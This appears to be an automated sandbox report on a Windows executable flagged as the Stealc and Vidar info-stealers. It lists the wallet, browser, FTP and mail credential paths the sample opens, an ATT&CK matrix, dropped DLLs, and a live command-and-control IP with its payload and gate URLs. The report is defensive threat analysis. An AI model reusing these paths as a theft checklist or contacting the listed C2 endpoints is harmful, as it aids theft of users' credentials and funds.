Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6600, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpn	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpl	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpBrowser	100%	Avira URL Cloud	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dllR	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpion:	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpBrowser	6%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpwh	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpn	7%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpS	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dllR	19%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/vcruntime140.dlles	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpFirefox	100%	Avira URL Cloud	malware
http://185.215.113.100S	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpl	7%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100	15%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php3	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllart	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php3	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php5	100%	Avira URL Cloud	malware
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpS	8%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpFirefox	16%	Virustotal		Browse
http://185.215.113.100/0d60be0de163924d/sqlite3.dllj	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllocas	100%	Avira URL Cloud	malware
185.215.113.100/e2b1563c6670f193.php	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllta	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpz	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dllj	19%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpy	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	19%	Virustotal		Browse
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
185.215.113.100/e2b1563c6670f193.php	21%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.php5	7%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpy	11%	Virustotal		Browse
http://185.215.113.100/e2b1563c6670f193.phpz	15%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown
185.215.113.100/e2b1563c6670f193.php	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpn	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpBrowser	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FHDHCAAKECFIDHIEBAKF.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dllP	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dllR	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.100	file.exe, 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpwh	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpS	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll.113.100	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dlles	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2282611188.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2273051012.000000001D385000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100S	file.exe, 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2282937217.000000006F8FD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllart	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllc	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php5	file.exe, 00000000.00000003.2126770811.0000000000816000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2112817309.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, HJJJJKEH.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dllj	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllocas	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	JJJKEHCAKFBFHJKEHCFIIDAEGD.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2277664809.0000000029441000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllta	file.exe, 00000000.00000002.2255662076.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpz	file.exe, 00000000.00000002.2255662076.0000000000787000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
